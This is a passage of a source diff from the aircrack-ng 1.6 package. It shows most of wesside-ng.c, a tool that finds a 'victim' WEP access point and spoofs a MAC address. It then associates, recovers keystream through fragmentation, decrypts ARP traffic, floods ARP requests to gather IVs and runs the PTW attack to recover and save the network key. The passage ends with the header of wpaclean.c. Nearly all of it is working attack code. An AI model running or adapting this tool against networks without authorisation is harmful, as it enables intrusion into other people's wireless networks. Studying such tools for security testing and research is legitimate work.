+		ws->ws_dfs.fs_waiting_relay = 1;
+
+		// ok we got the ip...
+		if (ws->ws_dpi.pi_len == 26 + 1)
+		{
+			got_ip(ws);
+		}
+	}
+}
+
+static void got_wep(struct wstate * ws, struct ieee80211_frame * wh, int rd)
+{
+	REQUIRE(ws != NULL);
+	REQUIRE(wh != NULL);
+
+	int bodylen;
+	int dlen;
+	unsigned char clear[1024];
+	int clearsize;
+	unsigned char * body;
+
+	bodylen = rd - sizeof(struct ieee80211_frame);
+
+	dlen = bodylen - 4 - 4;
+	body = (unsigned char *) wh + sizeof(*wh);
+
+	// log it if its stuff not from us...
+	if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
+		|| ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
+			&& memcmp(wh->i_addr2, ws->ws_mymac, 6) != 0))
+	{
+
+		if (body[3] != 0)
+		{
+			time_print("Key index=%x!!\n", body[3]);
+			exit(EXIT_FAILURE);
+		}
+		log_wep(ws, wh, rd);
+		add_keystream(ws, wh, rd);
+	}
+
+	// look for arp-request packets... so we can decrypt em
+	if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
+		&& (memcmp(wh->i_addr3, ws->ws_mymac, 6) != 0)
+		&& (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0)
+		&& (dlen == 36 || dlen == PADDED_ARPLEN)
+		&& !ws->ws_cipher
+		&& !ws->ws_netip)
+	{
+		decrypt_arpreq(ws, wh, rd);
+	}
+
+	// we have prga... check if its our stuff being relayed...
+	if (ws->ws_pi.pi_len != 0)
+	{
+		check_relay(ws, wh, body, dlen);
+		return;
+	}
+
+	known_clear(clear, &clearsize, NULL, (void *) wh, dlen);
+	time_print("Datalen %d Known clear %d\n", dlen, clearsize);
+
+	set_prga(ws, body, &body[4], clear, clearsize);
+}
+
+static void
+stuff_for_net(struct wstate * ws, struct ieee80211_frame * wh, int rd)
+{
+	REQUIRE(wh != NULL);
+
+	int type, stype;
+
+	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
+	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
+
+	if (type == IEEE80211_FC0_TYPE_DATA && stype == IEEE80211_FC0_SUBTYPE_DATA)
+	{
+		REQUIRE(ws != NULL);
+
+		int dlen = rd - sizeof(struct ieee80211_frame);
+
+		if (ws->ws_state == SPOOF_MAC)
+		{
+			unsigned char mac[6];
+			if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
+			{
+				memcpy(mac, wh->i_addr3, 6);
+			}
+			else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
+			{
+				memcpy(mac, wh->i_addr1, 6);
+			}
+			else
+				abort();
+
+			if (mac[0] == 0xff || mac[0] == 0x1) return;
+
+			memcpy(ws->ws_mymac, mac, 6);
+
+			char * mac_p = mac2string(ws->ws_mymac);
+			ALLEGE(mac_p != NULL);
+			time_print("Trying to use MAC=(%s)\n", mac_p);
+			free(mac_p);
+			ws->ws_state = FOUND_VICTIM;
+			return;
+		}
+
+		// wep data!
+		if ((wh->i_fc[1] & IEEE80211_FC1_WEP) && dlen > (4 + 8 + 4))
+		{
+			got_wep(ws, wh, rd);
+		}
+	}
+}
+
+static void anal(struct wstate * ws, unsigned char * buf, int rd) // yze
+{
+	REQUIRE(ws != NULL);
+	REQUIRE(buf != NULL);
+
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	int type, stype;
+	static int lastseq = -1;
+	int seq;
+	unsigned short * seqptr;
+	int for_us = 0;
+
+	if (rd < 1)
+	{
+		time_print("rd=%d\n", rd);
+		exit(EXIT_FAILURE);
+	}
+
+	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
+	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
+
+	// sort out acks
+	if (ws->ws_state >= FOUND_VICTIM)
+	{
+		// stuff for us
+		if (memcmp(wh->i_addr1, ws->ws_mymac, 6) == 0)
+		{
+			for_us = 1;
+			if (type != IEEE80211_FC0_TYPE_CTL) send_ack(ws);
+		}
+	}
+
+	// XXX i know it aint great...
+	seqptr = (unsigned short *) wh->i_seq;
+	seq = (le16toh(*seqptr) & IEEE80211_SEQ_SEQ_MASK)
+		  >> IEEE80211_SEQ_SEQ_SHIFT;
+	if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY)
+		&& type != IEEE80211_FC0_TYPE_CTL)
+	{
+		//		printf("Ignoring dup packet... seq=%d\n", seq);
+		return;
+	}
+	lastseq = seq;
+
+	// management frame
+	if (type == IEEE80211_FC0_TYPE_MGT)
+	{
+		if (ws->ws_state == FIND_VICTIM)
+		{
+			if (stype == IEEE80211_FC0_SUBTYPE_BEACON
+				|| stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP)
+			{
+
+				if (get_victim_ssid(ws, wh, rd))
+				{
+					return;
+				}
+			}
+		}
+	}
+
+	if (ws->ws_state >= FOUND_VICTIM)
+	{
+		// stuff for us
+		if (for_us)
+		{
+			stuff_for_us(ws, wh, rd);
+		}
+
+		// stuff in network [even for us]
+		if (((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
+			 && (memcmp(ws->ws_bss, wh->i_addr1, 6) == 0))
+			||
+
+			((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
+			 && (memcmp(ws->ws_bss, wh->i_addr2, 6) == 0)))
+		{
+			stuff_for_net(ws, wh, rd);
+		}
+	}
+}
+
+static void do_arp(unsigned char * buf,
+				   unsigned short op,
+				   unsigned char * m1,
+				   char * i1,
+				   unsigned char * m2,
+				   char * i2)
+{
+	REQUIRE(buf != NULL);
+	REQUIRE(m1 != NULL);
+	REQUIRE(m2 != NULL);
+	REQUIRE(i1 != NULL);
+	REQUIRE(i2 != NULL);
+
+	struct in_addr sip;
+	struct in_addr dip;
+	struct arphdr * h;
+	unsigned char * data;
+
+	inet_aton(i1, &sip);
+	inet_aton(i2, &dip);
+	h = (struct arphdr *) buf;
+
+	memset(h, 0, sizeof(*h));
+
+	h->ar_hrd = htons(ARPHRD_ETHER);
+	h->ar_pro = htons(ETHERTYPE_IP);
+	h->ar_hln = 6;
+	h->ar_pln = 4;
+	h->ar_op = htons(op);
+
+	data = (unsigned char *) h + sizeof(*h);
+
+	memcpy(data, m1, 6);
+	data += 6;
+	memcpy(data, &sip, 4);
+	data += 4;
+
+	memcpy(data, m2, 6);
+	data += 6;
+	memcpy(data, &dip, 4);
+#if 0
+	data += 4;
+#endif
+}
+
+static void
+send_fragment(struct wstate * ws, struct frag_state * fs, struct prga_info * pi)
+{
+	REQUIRE(ws != NULL);
+	REQUIRE(fs != NULL);
+	REQUIRE(pi != NULL);
+
+	unsigned char buf[4096] __attribute__((aligned(8)));
+	struct ieee80211_frame * wh;
+	unsigned char * body;
+	int fragsize;
+	uLong crc;
+	unsigned int * pcrc;
+	int i;
+	unsigned short * seq;
+	unsigned short sn, fn;
+
+	wh = (struct ieee80211_frame *) buf;
+	memcpy(wh, &fs->fs_wh, sizeof(*wh));
+
+	body = (unsigned char *) wh + sizeof(*wh);
+	memcpy(body, &pi->pi_iv, 3);
+	body += 3;
+	*body++ = 0; // key index
+
+	fragsize = fs->fs_data + fs->fs_len - fs->fs_ptr;
+
+	ALLEGE(fragsize > 0);
+
+	if ((fragsize + 4) > pi->pi_len)
+	{
+		fragsize = pi->pi_len - 4;
+		wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
+	}
+	// last fragment
+	else
+	{
+		wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
+	}
+
+	memcpy(body, fs->fs_ptr, fragsize);
+
+	crc = crc32(0L, Z_NULL, 0);
+	crc = crc32(crc, body, fragsize);
+	pcrc = (unsigned int *) (body + fragsize); //-V1032
+	*pcrc = htole32(crc);
+
+	for (i = 0; fragsize < (INT_MAX - 4) && i < (fragsize + 4)
+				&& i < (sizeof(buf) - sizeof(*wh));
+		 i++)
+		body[i] ^= pi->pi_prga[i];
+
+	seq = (unsigned short *) &wh->i_seq;
+	sn = (le16toh(*seq) & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
+	fn = le16toh(*seq) & IEEE80211_SEQ_FRAG_MASK;
+	//	printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn);
+
+	send_frame(ws, buf, sizeof(*wh) + 4 + fragsize + 4);
+
+	seq = (unsigned short *) &fs->fs_wh.i_seq;
+	*seq = fnseq(++fn, sn);
+	fs->fs_ptr += fragsize;
+
+	if (fs->fs_ptr - fs->fs_data == fs->fs_len)
+	{
+		//		printf("Finished sending frags...\n");
+		fs->fs_waiting_relay = 1;
+	}
+}
+
+static void
+prepare_fragstate(struct wstate * ws, struct frag_state * fs, int pad)
+{
+	REQUIRE(fs != NULL);
+
+	fs->fs_waiting_relay = 0;
+	fs->fs_len = 8 + 8 + 20 + pad;
+	fs->fs_data = (unsigned char *) malloc(fs->fs_len);
+
+	if (!fs->fs_data)
+	{
+		perror("malloc()");
+		exit(EXIT_FAILURE);
+	}
+
+	REQUIRE(ws != NULL);
+
+	fs->fs_ptr = fs->fs_data;
+
+	do_llc(fs->fs_data, ETHERTYPE_ARP);
+	do_arp(&fs->fs_data[8],
+		   ARPOP_REQUEST,
+		   ws->ws_mymac,
+		   ws->ws_myip,
+		   (unsigned char *) "\x00\x00\x00\x00\x00\x00",
+		   "192.168.0.1");
+
+	memset(&fs->fs_wh, 0, sizeof(fs->fs_wh));
+	fill_basic(ws, &fs->fs_wh);
+
+	memset(fs->fs_wh.i_addr3, 0xff, 6);
+	fs->fs_wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
+	fs->fs_wh.i_fc[1]
+		|= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_MORE_FRAG | IEEE80211_FC1_WEP;
+
+	memset(&fs->fs_data[8 + 8 + 20], 0, pad);
+}
+
+static void discover_prga(struct wstate * ws)
+{
+	REQUIRE(ws != NULL);
+
+	// create packet...
+	if (!ws->ws_fs.fs_data)
+	{
+		int pad = 0;
+
+		if (ws->ws_pi.pi_len >= 20) pad = ws->ws_pi.pi_len * 3;
+
+		prepare_fragstate(ws, &ws->ws_fs, pad);
+	}
+
+	if (!ws->ws_fs.fs_waiting_relay)
+	{
+		send_fragment(ws, &ws->ws_fs, &ws->ws_pi);
+		if (ws->ws_fs.fs_waiting_relay)
+		{
+			if (gettimeofday(&ws->ws_fs.fs_last, NULL) == -1)
+				err(1, "gettimeofday()");
+		}
+	}
+}
+
+static void decrypt(struct wstate * ws)
+{
+	REQUIRE(ws != NULL);
+
+	// gotta initiate
+	if (!ws->ws_dfs.fs_data)
+	{
+		prepare_fragstate(ws, &ws->ws_dfs, 0);
+
+		memcpy(ws->ws_dfs.fs_wh.i_addr3, MCAST_PREF, 5);
+
+		ws->ws_dfs.fs_wh.i_addr3[5] = ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len - 1];
+
+		ws->ws_dpi.pi_len++;
+	}
+
+	// guess diff prga byte...
+	if (ws->ws_dfs.fs_waiting_relay)
+	{
+		unsigned short seq;
+		ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len - 1]++;
+
+		ws->ws_dfs.fs_wh.i_addr3[5] = ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len - 1];
+
+		ws->ws_dfs.fs_waiting_relay = 0;
+		ws->ws_dfs.fs_ptr = ws->ws_dfs.fs_data;
+
+		seq = fnseq(0, ws->ws_psent);
+		ws->ws_dfs.fs_wh.i_seq[0] = (u_int8_t)(seq >> 8);
+		ws->ws_dfs.fs_wh.i_seq[1] = (u_int8_t)(seq % 256);
+	}
+
+	send_fragment(ws, &ws->ws_dfs, &ws->ws_dpi);
+}
+
+static void send_arp(struct wstate * ws,
+					 unsigned short op,
+					 char * srcip,
+					 unsigned char * srcmac,
+					 char * dstip,
+					 unsigned char * dstmac)
+{
+	static unsigned char arp_pkt[128];
+	unsigned char * body;
+	unsigned char * ptr;
+	struct ieee80211_frame * wh;
+	int arp_len;
+
+	memset(arp_pkt, 0, sizeof(arp_pkt));
+
+	// construct ARP
+	wh = (struct ieee80211_frame *) arp_pkt;
+	fill_basic(ws, wh);
+
+	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
+	wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
+	memset(wh->i_addr3, 0xff, 6);
+
+	body = (unsigned char *) wh + sizeof(*wh);
+	ptr = body;
+	ptr += 4; // iv
+
+	do_llc(ptr, ETHERTYPE_ARP);
+	ptr += 8;
+	do_arp(ptr, op, srcmac, srcip, dstmac, dstip);
+
+	wepify(ws, body, 8 + 8 + 20);
+	arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
+	assert(arp_len < (int) sizeof(arp_pkt));
+
+	send_frame(ws, arp_pkt, arp_len);
+}
+
+static int find_mac(struct wstate * ws)
+{
+	REQUIRE(ws != NULL);
+
+	if (!(ws->ws_netip && !ws->ws_rtrmac)) return (0);
+
+	if (gettimeofday(&ws->ws_arpsend, NULL) == -1) err(1, "gettimeofday()");
+
+	time_print("Sending arp request for: %s\n", ws->ws_netip);
+	send_arp(ws,
+			 ARPOP_REQUEST,
+			 ws->ws_myip,
+			 ws->ws_mymac,
+			 ws->ws_netip,
+			 (unsigned char *) "\x00\x00\x00\x00\x00\x00");
+
+	// XXX lame
+	ws->ws_rtrmac = (unsigned char *) 1;
+
+	return (1);
+}
+
+static int flood(struct wstate * ws)
+{
+	REQUIRE(ws != NULL);
+
+	if (!(ws->ws_rtrmac > (unsigned char *) 1 && ws->ws_netip)) return (0);
+
+	// could ping broadcast....
+	send_arp(ws,
+			 ARPOP_REQUEST,
+			 ws->ws_myip,
+			 ws->ws_mymac,
+			 ws->ws_netip,
+			 (unsigned char *) "\x00\x00\x00\x00\x00\x00");
+
+	return (1);
+}
+
+static void can_write(struct wstate * ws)
+{
+	REQUIRE(ws != NULL);
+
+	switch (ws->ws_state)
+	{
+		case FOUND_VICTIM:
+			send_auth(ws);
+			ws->ws_state = SENDING_AUTH;
+			break;
+
+		case GOT_AUTH:
+			send_assoc(ws);
+			ws->ws_state = SENDING_ASSOC;
+			break;
+
+		case GOT_ASSOC:
+			if (ws->ws_pi.pi_prga && ws->ws_pi.pi_len < ws->ws_min_prga)
+			{
+				discover_prga(ws);
+				break;
+			}
+
+			if (ws->ws_cipher)
+			{
+				decrypt(ws);
+				break;
+			}
+
+			if (!ws->ws_pi.pi_prga) break;
+
+			// try to find rtr mac addr
+			if (find_mac(ws)) break;
+
+			// need to generate traffic...
+			if (flood(ws)) break;
+
+			break;
+	}
+}
+
+static void save_key(unsigned char * key, int len)
+{
+	REQUIRE(key != NULL);
+
+	char tmp[16];
+	char k[64];
+	int fd;
+	int rd;
+
+	REQUIRE(len * 3 < (int) sizeof(k));
+
+	k[0] = 0;
+	while (len--)
+	{
+		snprintf(tmp, 3, "%.2X", *key++);
+		strncat(k, tmp, 2);
+		if (len) strncat(k, ":", 2);
+	}
+
+	fd = open(
+		KEY_FILE, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
+	if (fd == -1) err(1, "open()");
+
+	printf("\nKey: %s\n", k);
+	rd = write(fd, k, strlen(k));
+	if (rd == -1) err(1, "write()");
+	if (rd != (int) strlen(k)) errx(1, "write %d/%d\n", rd, (int) strlen(k));
+	close(fd);
+}
+
+static int do_crack(struct wstate * ws)
+{
+	unsigned char key[PTW_KEYHSBYTES];
+	int(*all)[256];
+	int i, j;
+
+	all = malloc(32 * sizeof(int[256]));
+	if (all == NULL)
+	{
+		return (1);
+	}
+
+	// initial setup (complete keyspace)
+	for (i = 0; i < 32; i++)
+	{
+		for (j = 0; j < 256; j++)
+		{
+			all[i][j] = 1;
+		}
+	}
+
+	REQUIRE(ws != NULL);
+
+	if (PTW_computeKey(ws->ws_ptw, key, 13, KEYLIMIT, PTW_DEFAULTBF, all, 0)
+		== 1)
+	{
+		save_key(key, 13);
+		free(all);
+		return (1);
+	}
+	if (PTW_computeKey(ws->ws_ptw, key, 5, KEYLIMIT / 10, PTW_DEFAULTBF, all, 0)
+		== 1)
+	{
+		save_key(key, 5);
+		free(all);
+		return (1);
+	}
+
+	free(all);
+	return (0);
+}
+
+static void sigchild(int x)
+{
+	UNUSED_PARAM(x);
+
+	struct wstate * ws;
+
+	ws = get_ws();
+
+	ALLEGE(ws != NULL); //-V547
+
+	ws->ws_crack_pid = 0; /* crack done */
+}
+
+static void try_crack(struct wstate * ws)
+{
+	REQUIRE(ws != NULL);
+
+	if (ws->ws_crack_pid)
+	{
+		printf("\n");
+		time_print("Warning... previous crack still running!\n");
+		kill_crack(ws);
+	}
+
+	if (ws->ws_fd)
+	{
+		if (fsync(ws->ws_fd) == -1) err(1, "fsync");
+	}
+
+	ws->ws_crack_pid = fork();
+
+	if (ws->ws_crack_pid == -1) err(1, "fork");
+
+	// child
+	if (ws->ws_crack_pid == 0)
+	{
+		if (!do_crack(ws))
+		{
+			printf("\n");
+			time_print("Crack unsuccessful\n");
+		}
+		exit(EXIT_FAILURE);
+	}
+
+	// parent
+	printf("\n");
+	time_print("Starting crack PID=%d\n", ws->ws_crack_pid);
+	if (gettimeofday(&ws->ws_crack_start, NULL) == -1) err(1, "gettimeofday");
+
+	ws->ws_wep_thresh += ws->ws_thresh_incr;
+}
+
+static void open_wepfile(struct wstate * ws)
+{
+	REQUIRE(ws != NULL);
+
+	ws->ws_fd = open(WEP_FILE, O_WRONLY | O_APPEND);
+	if (ws->ws_fd == -1)
+	{
+		struct pcap_file_header pfh;
+
+		memset(&pfh, 0, sizeof(pfh));
+		pfh.magic = TCPDUMP_MAGIC;
+		pfh.version_major = PCAP_VERSION_MAJOR;
+		pfh.version_minor = PCAP_VERSION_MINOR;
+		pfh.thiszone = 0;
+		pfh.sigfigs = 0;
+		pfh.snaplen = 65535;
+		pfh.linktype = LINKTYPE_IEEE802_11;
+
+		ws->ws_fd = open(WEP_FILE,
+						 O_WRONLY | O_CREAT,
+						 S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
+		if (ws->ws_fd != -1)
+		{
+			if (write(ws->ws_fd, &pfh, sizeof(pfh)) != sizeof(pfh))
+				err(1, "write()");
+		}
+	}
+	else
+	{
+		time_print("WARNING: Appending in %s\n", WEP_FILE);
+	}
+
+	if (ws->ws_fd == -1) err(1, "open()");
+}
+
+static void load_prga(struct wstate * ws)
+{
+	int fd, rd;
+	unsigned char buf[4096];
+
+	fd = open(PRGA_FILE, O_RDONLY);
+	if (fd != -1)
+	{
+		time_print("WARNING: reading prga from %s\n", PRGA_FILE);
+		rd = read(fd, buf, sizeof(buf));
+		if (rd == -1)
+		{
+			perror("read()");
+			exit(EXIT_FAILURE);
+		}
+		if (rd >= 8)
+		{
+			set_prga(ws, buf, NULL, &buf[3], rd - 3);
+		}
+
+		close(fd);
+	}
+}
+
+static void check_relay_timeout(struct wstate * ws, struct timeval * now)
+{
+	REQUIRE(ws != NULL);
+
+	if (!ws->ws_fs.fs_waiting_relay) return;
+
+	int el = elapsed_time_diff(&ws->ws_fs.fs_last, now);
+
+	if (el > (1500 * 1000))
+	{
+		free(ws->ws_fs.fs_data);
+		ws->ws_fs.fs_data = 0;
+	}
+}
+
+static void check_arp_timeout(struct wstate * ws, struct timeval * now)
+{
+	REQUIRE(ws != NULL);
+
+	if (ws->ws_rtrmac != (unsigned char *) 1) return;
+
+	int el = elapsed_time_diff(&ws->ws_arpsend, now);
+	if (el >= (1500 * 1000))
+	{
+		ws->ws_rtrmac = 0;
+	}
+}
+
+static void display_status_bar(struct wstate * ws,
+							   struct timeval * now,
+							   struct timeval * last_status,
+							   char * pbarp)
+{
+	int el;
+
+	el = elapsed_time_diff(last_status, now);
+	if (el < 100 * 1000) return;
+
+	if (ws->ws_crack_pid) check_key(ws);
+
+	if (ws->ws_netip && ws->ws_pi.pi_len >= ws->ws_min_prga
+		&& ws->ws_rtrmac > (unsigned char *) 1)
+	{
+		time_print("WEP=%.9d (next crack at %d) "
+				   "IV=%.2x:%.2x:%.2x (rate=%d)            \r",
+				   ws->ws_packets,
+				   ws->ws_wep_thresh,
+				   ws->ws_iv[0],
+				   ws->ws_iv[1],
+				   ws->ws_iv[2],
+				   ws->ws_rate);
+	}
+	else
+	{
+		if (ws->ws_state == FIND_VICTIM)
+		{
+			time_print("Chan %.02d %c\r", ws->ws_chan, *pbarp);
+		}
+		else if (ws->ws_cipher)
+		{
+			int pos = ws->ws_dpi.pi_len - 1;
+			unsigned char prga = ws->ws_dpi.pi_prga[pos];
+
+			ALLEGE(pos != 0);
+
+			time_print("Guessing PRGA %.2x (IP byte=%d)    \r",
+					   prga,
+					   ws->ws_cipher[pos] ^ prga);
+		}
+		else
+			time_print("%c\r", *pbarp);
+	}
+
+	fflush(stdout);
+
+	memcpy(last_status, now, sizeof(*last_status));
+}
+
+static void check_tx(struct wstate * ws, struct timeval * now)
+{
+	REQUIRE(ws != NULL);
+
+	if (!ws->ws_waiting_ack) return;
+
+	int elapsed = elapsed_time_diff(&ws->ws_tsent, now);
+	if (elapsed >= (int) ws->ws_ack_timeout) send_frame(ws, NULL, -1);
+}
+
+static void check_hop(struct wstate * ws, struct timeval * now)
+{
+	REQUIRE(ws != NULL);
+
+	int elapsed;
+	int chan = ws->ws_chan;
+
+	elapsed = elapsed_time_diff(&ws->ws_lasthop, now);
+	if (elapsed < 300 * 1000) return;
+
+	chan++;
+	if (chan > ws->ws_max_chan) chan = 1;
+
+	set_chan(ws, chan);
+	memcpy(&ws->ws_lasthop, now, sizeof(ws->ws_lasthop));
+}
+
+static void post_input(struct wstate * ws, struct timeval * now)
+{
+	REQUIRE(ws != NULL);
+
+	int el;
+
+	// check state and what we do next.
+	if (ws->ws_state == FIND_VICTIM)
+	{
+		check_hop(ws, now);
+		return;
+	}
+
+	// check if we need to write something...
+	if (!ws->ws_waiting_ack) can_write(ws);
+
+	el = elapsed_time_diff(&ws->ws_last_wcount, now);
+
+	/* calculate rate, roughtly */
+	if (el < 1 * 1000 * 1000) return;
+
+	ws->ws_rate = ws->ws_packets - ws->ws_last_wep_count;
+	ws->ws_last_wep_count = ws->ws_packets;
+
+	memcpy(&ws->ws_last_wcount, now, sizeof(ws->ws_last_wcount));
+
+	if (ws->ws_wep_thresh != -1
+		&& ws->ws_packets > (unsigned int) ws->ws_wep_thresh)
+		try_crack(ws);
+}
+
+static void do_input(struct wstate * ws)
+{
+	unsigned char buf[4096];
+	int rd;
+
+	rd = wi_read(ws->ws_wi, NULL, NULL, buf, sizeof(buf), NULL);
+	if (rd == 0) return;
+	if (rd == -1)
+	{
+		perror("read()");
+		exit(EXIT_FAILURE);
+	}
+
+	// input
+	anal(ws, buf, rd);
+}
+
+static void own(struct wstate * ws)
+{
+	REQUIRE(ws != NULL);
+
+	int rd;
+	fd_set rfd;
+	struct timeval tv;
+	char * pbar = "/-\\|";
+	char * pbarp = &pbar[0];
+	struct timeval now;
+	struct timeval last_status;
+	int largest;
+	int wifd;
+
+	wifd = wi_fd(ws->ws_wi);
+
+	open_wepfile(ws);
+	load_prga(ws);
+
+	largest = wi_fd(ws->ws_wi);
+
+	if (signal(SIGINT, &cleanup) == SIG_ERR)
+	{
+		perror("signal()");
+		exit(EXIT_FAILURE);
+	}
+	if (signal(SIGTERM, &cleanup) == SIG_ERR)
+	{
+		perror("signal()");
+		exit(EXIT_FAILURE);
+	}
+	if (signal(SIGCHLD, &sigchild) == SIG_ERR)
+	{
+		perror("signal()");
+		exit(EXIT_FAILURE);
+	}
+
+	time_print("Looking for a victim...\n");
+
+	if (gettimeofday(&ws->ws_lasthop, NULL) == -1)
+	{
+		perror("gettimeofday()");
+		exit(EXIT_FAILURE);
+	}
+	memcpy(&ws->ws_last_wcount, &ws->ws_lasthop, sizeof(ws->ws_last_wcount));
+	memcpy(&last_status, &ws->ws_lasthop, sizeof(last_status));
+
+	while (1)
+	{
+		if (gettimeofday(&now, NULL) == -1)
+		{
+			perror("gettimeofday()");
+			exit(EXIT_FAILURE);
+		}
+
+		/* check for relay timeout */
+		check_relay_timeout(ws, &now);
+
+		/* check for arp timeout */
+		check_arp_timeout(ws, &now);
+
+		// status bar
+		display_status_bar(ws, &now, &last_status, pbarp);
+
+		// check if we are cracking
+		if (ws->ws_crack_pid)
+		{
+			if ((now.tv_sec - ws->ws_crack_start.tv_sec) >= ws->ws_crack_dur)
+				kill_crack(ws);
+		}
+
+		// check TX / retransmit
+		check_tx(ws, &now);
+
+		// INPUT
+		// select
+		FD_ZERO(&rfd);
+		FD_SET(wifd, &rfd);
+		tv.tv_sec = 0;
+		tv.tv_usec = 1000 * 10;
+
+		rd = select(largest + 1, &rfd, NULL, NULL, &tv);
+		if (rd == -1)
+		{
+			switch (errno)
+			{
+				case EINTR: /* handle SIGCHLD */
+					break;
+				default:
+					perror("select()");
+					exit(EXIT_FAILURE);
+					break;
+			}
+		}
+
+		// read
+		if (rd != 0 && FD_ISSET(wifd, &rfd))
+		{
+			/* update status */
+			pbarp++;
+			if (!(*pbarp)) pbarp = &pbar[0];
+
+			do_input(ws);
+		}
+
+		post_input(ws, &now);
+	}
+}
+
+static void start(struct wstate * ws, char * dev)
+{
+	REQUIRE(ws != NULL);
+
+	struct wif * wi;
+
+	ws->ws_wi = wi = wi_open(dev);
+	if (!wi) err(1, "wi_open(%s)", dev);
+
+	if (!ws->ws_have_mac)
+	{
+		if (wi_get_mac(wi, ws->ws_mymac) == -1) printf("Can't get mac\n");
+	}
+	else
+	{
+		if (wi_set_mac(wi, ws->ws_mymac) == -1) printf("Can't set mac\n");
+	}
+
+	char * mac = mac2string(ws->ws_mymac);
+	ALLEGE(mac != NULL);
+	time_print("Using mac %s\n", mac);
+	free(mac);
+
+	ws->ws_ptw = PTW_newattackstate();
+	if (!ws->ws_ptw) err(1, "PTW_newattackstate()");
+
+	own(ws);
+
+	wi_close(wi);
+}
+
+static void usage(char * pname)
+{
+	UNUSED_PARAM(pname);
+
+	char * version_info
+		= getVersion("Wesside-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
+	printf("\n"
+		   "  %s - (C) 2007, 2008, 2009 Andrea Bittau\n"
+		   "  https://www.aircrack-ng.org\n"
+		   "\n"
+		   "  Usage: wesside-ng <options>\n"
+		   "\n"
+		   "  Options:\n"
+		   "\n"
+		   "       -h              : This help screen\n"
+		   "       -i      <iface> : Interface to use (mandatory)\n"
+		   "       -m      <my ip> : My IP address\n"
+		   "       -n     <net ip> : Network IP address\n"
+		   "       -a      <mymac> : Source MAC Address\n"
+		   "       -c              : Do not crack the key\n"
+		   "       -p   <min prga> : Minimum bytes of PRGA to gather\n"
+		   "       -v <victim mac> : Victim BSSID\n"
+		   "       -t  <threshold> : Cracking threshold\n"
+		   "       -f   <max chan> : Highest scanned chan (default: 11)\n"
+		   "       -k      <txnum> : Ignore acks and tx txnum times\n"
+		   "\n",
+		   version_info);
+	free(version_info);
+	exit(EXIT_SUCCESS);
+}
+
+static void init_defaults(struct wstate * ws)
+{
+	REQUIRE(ws != NULL);
+
+	memset(ws, 0, sizeof(*ws));
+
+	ws->ws_state = FIND_VICTIM;
+	ws->ws_max_chan = 11;
+	memcpy(ws->ws_mymac, "\x00\x00\xde\xfa\xce\x0d", 6);
+	ws->ws_have_mac = 0;
+	strncpy(ws->ws_myip, "192.168.0.123", sizeof(ws->ws_myip) - 1);
+	ws->ws_ack_timeout = 100 * 1000;
+	ws->ws_min_prga = 128;
+	ws->ws_wep_thresh = ws->ws_thresh_incr = 10000;
+	ws->ws_crack_dur = 60;
+}
+
+int main(int argc, char * argv[])
+{
+	struct wstate * ws = get_ws();
+	int ch;
+	unsigned char vic[6];
+	char * dev = "IdidNotSpecifyAnInterface";
+
+	ALLEGE(ws != NULL); //-V547
+	init_defaults(ws);
+
+	if (gettimeofday(&ws->ws_real_start, NULL) == -1)
+	{
+		perror("gettimeofday()");
+		exit(EXIT_FAILURE);
+	}
+
+	while ((ch = getopt(argc, argv, "hi:m:a:n:cp:v:t:f:k:")) != -1)
+	{
+		switch (ch)
+		{
+			case 'k':
+				ws->ws_ignore_ack = atoi(optarg);
+				break;
+
+			case 'a':
+				str2mac(ws->ws_mymac, optarg);
+				ws->ws_have_mac = 1;
+				break;
+
+			case 'i':
+				dev = optarg;
+				break;
+
+			case 'm':
+				strncpy(ws->ws_myip, optarg, sizeof(ws->ws_myip) - 1);
+				ws->ws_myip[sizeof(ws->ws_myip) - 1] = 0;
+				break;
+
+			case 'n':
+				ws->ws_netip = optarg;
+				break;
+
+			case 'v':
+				str2mac(vic, optarg);
+				ws->ws_victim_mac = vic; //-V507
+				break;
+
+			case 'c':
+				ws->ws_wep_thresh = -1;
+				break;
+
+			case 'p':
+				ws->ws_min_prga = atoi(optarg);
+				break;
+
+			case 't':
+				ws->ws_thresh_incr = ws->ws_wep_thresh = atoi(optarg);
+				break;
+
+			case 'f':
+				ws->ws_max_chan = atoi(optarg);
+				break;
+
+			default:
+				usage(argv[0]);
+				break;
+		}
+	}
+
+	if (argc > 1)
+		start(ws, dev);
+	else
+		usage(argv[0]);
+
+	cleanup(0);
+	exit(EXIT_SUCCESS);
+}

aircrack-ng-1.6.tar.gz/src/wpaclean Added

aircrack-ng-1.6.tar.gz/src/wpaclean/wpaclean.c Added

@@ -0,0 +1,773 @@
+/*
+ *  Copyright (C) 2011 Andrea Bittau <bittau@cs.stanford.edu>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
